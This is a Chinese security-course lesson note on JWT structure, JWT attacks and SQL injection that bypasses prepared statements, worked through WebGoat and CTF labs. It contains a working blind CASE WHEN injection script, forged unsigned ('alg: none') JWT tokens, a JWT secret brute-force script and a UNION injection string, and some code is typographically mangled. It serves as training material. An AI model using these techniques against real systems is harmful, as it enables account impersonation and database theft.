JAVA安全-JWT安全及预编译CASE注入等
    JAVA安全-JWT安全及预编译CASE注入等
    通过前期的WEB漏洞的学习,掌握了大部分的安全漏洞的原理及利用,但在各种脚本语言开发环境的差异下,会存在新的安全问题,其中脚本语言类型PHP,Java,Python等主流开发框架会有所差异。
    第40天:JAVA安全-JWT安全及预编译CASE注入等 - 图1第40天:JAVA安全-JWT安全及预编译CASE注入等 - 图2

    第40天:JAVA安全-JWT安全及预编译CASE注入等 - 图3
    什么是JWT?
    JSON Web Token(JSON Web令牌)是一种跨域验证身份的方案。JWT不加密传输的数据,但能够通过数字签名来验证数据未被篡改(但是做完下面的WebGoat练习后我对这一点表示怀疑)。

    JWT分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT的内容以Base64URL进行了编码。

    头部(Header)
    {
    “alg”:”HS256”,
    “typ”:”JWT”
    }
    alg
    是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,也可以为None。HS256表示HMAC SHA256。
    typ
    说明这个token的类型为JWT

    声明(Claims)
    {
    “exp”: 1416471934,
    “username”: “user”,
    “scope”: [
    “read”,
    “write”
    ],
    “authorities”: [
    “ROLEADMIN”,
    “ROLEUSER”
    ],
    “jti”: “9bc92a44-0b1a-4c5e-be70-da52075b9a84”,
    “clientid”: “my-client-with-secret”
    }
    JWT固定参数有:
    iss:发行人
    exp:到期时间
    sub:主题
    aud:用户
    nbf:在此之前不可用
    iat:发布时间
    jti:JWT ID用于标识该JWT

    签名(Signature)
    服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。
    下面是一个用HS256生成JWT的代码例子
    HMACSHA256(base64UrlEncode(header) + “.” + base64UrlEncode(payload),secret)

    1、用户端登录,用户名和密码在请求中被发往服务器
    2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中(通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行加密,生成该用户的JWT。此时,服务器并没有保存登录状态信息。
    3、服务器将JWT(通过响应)返回给客户端
    4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中
    5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态
    6、服务器返回响应
    第40天:JAVA安全-JWT安全及预编译CASE注入等 - 图4
    SQL Injection(mitigation)
    防御sql注入,其实就是session,参数绑定,存储过程这样的注入。
    // 利用session防御,session内容正常情况下是用户无法修改的select from users where user = “‘“ + session.getAttribute(“UserID”) + “‘“;
    // 参数绑定方式,利用了sql的预编译技术
    String query = “SELECT
    FROM users WHERE lastname = ?”;
    PreparedStatement statement = connection.prepareStatement(query);
    statement.setString(1, accountName);
    ResultSet results = statement.executeQuery();
    上面说的方式也不是能够绝对的进行sql注入防御,只是减轻。
    如参数绑定方式可以使用下面方式绕过。
    通过使用case when语句可以将order by后的orderExpression表达式中添加select语句。

    import requests
    from string import digits
    chars = digits+”.”

    data1 = “username_reg=tomx’+union+select+password+from+sql_challenge_users+where+userid%3D’teom’—+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123”
    headers = {
    ‘X-Requested-With’: ‘XMLHttpRequest’
    }
    cookies = {
    ‘JSESSIONID’: ‘ZwUabF1a2yNsk7UAWd05XAp0UEPB7CLJCZnZPvUX’,
    ‘JSESSIONID.75fbd09e’: ‘7mc1x9iei6ji4xo2a3u4kbz1’
    }
    i = 0
    result = “”
    proxy={“http”: “http://127.0.0.1:8888"}
    while True:
    i += 1
    temp = result
    for char in chars:
    vul_url = “http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end".format(i, char)
    resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy)
    # print(resp.json())
    if ‘webgoat-acc’ in resp.json()[0][‘hostname’]:
    result += char
    print(result)
    if temp == result:
    break

    演示案例:
    Ø Javaweb-SQL注入攻击-预编译机制绕过
    #了解预编译机制
    https://www.cnblogs.com/klyjb/p/11473857.html
    https://www.zhihu.com/question/43581628
    #参考参数绑定绕过方式 case when 注入

    Ø Javaweb-身份验证攻击-JWT修改伪造攻击
    #了解JWT传输过程,验证机制
    #了解JWT结构,加解密过程及注意事项

    注意:
    问题来了,因为JWT的声明内容变了,因此签名需要重新生成,生成签名又需要密码,我们没有密码呀?不要慌,我们直接去掉签名就好~修改头部为None

    在HTTP传输过程中,Base64编码中的”=”,”+”,”/“等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64 URL编码

    Payload:
    ewogICJhbGciOiAibm9uZSIKfQ.ewogICJpYXQiOiAxNTg0MTY2NTI0LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

    Ø Javaweb-身份验证攻击-JWT密匙爆破攻击
    #了解JWT结构,签名算法加解密等
    #活用fuzz等字典库文件调用,脚本开发
    #bingo! found key —> victory <—



    import jwt
    import termcolor
    if __name
    == “__main
    “:
    jwt_str = R’eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk3MjI2NDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Y2WgbXt9wjv4p4BdM_tA9f05sG-_n1ugojijOZMXx2_Gld_Ip4dOazj9K3iWVC68W_7_HEyu2_c0qSjtqDC0Vg’
    with open(‘top1000.txt’) as f:
    for line in f:
    key
    = line.strip()
    try:
    jwt.decode(jwtstr, verify=True, key=key)
    print(‘\r’, ‘\bbingo! found key —>’, termcolor.colored(key, ‘green’), ‘<—‘)
    break
    except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
    print(‘\r’, ‘\bbingo! found key —>’, termcolor.colored(key
    , ‘green’), ‘<—‘)
    break
    except jwt.exceptions.InvalidSignatureError:
    print(‘\r’, ‘ ‘ * 64, ‘\r\btry’, key_, end=’’, flush=True)
    continue
    else:
    print(‘\r’, ‘\bsorry! no key be found.’)

    Ø Javaweb-身份验证攻击-JWT修改伪造冒充
    #题目涉及:购物以其他用户购买,日志分析某用户的jwt数据,进行修改伪造提交
    Pyaload:
    ewogICJhbGciOiAiTm9uZSIKfQ.ewogICJpYXQiOiAxNTI2MTMxNDExLAogICJleHAiOiAxNTk5OTgwODkxLAogICJhZG1pbiI6ICJmYWxzZSIsCiAgInVzZXIiOiAiVG9tIgp9.

    Ø Javaweb-身份验证攻击-JWT安全结合SQL注入
    #参考:https://www.freebuf.com/vuls/216457.html

    Ø CTF-Node.js-前端jwt登录安全-伪造admin实现getflag
    #解题思路:
    注册用户登录-分析/controllers/api.js-用户admin可获取flag
    抓取登录数据包,进行反解密修改再加密,伪造登录获取flag

    涉及资源:
    https://jwt.io/#encoded-jwt
    https://www.ctfhub.com/#/challenge
    https://www.zhihu.com/question/43581628
    https://www.freebuf.com/vuls/216457.html
    https://www.cnblogs.com/klyjb/p/11473857.html
    https://www.cnblogs.com/klyjb/p/11473857.html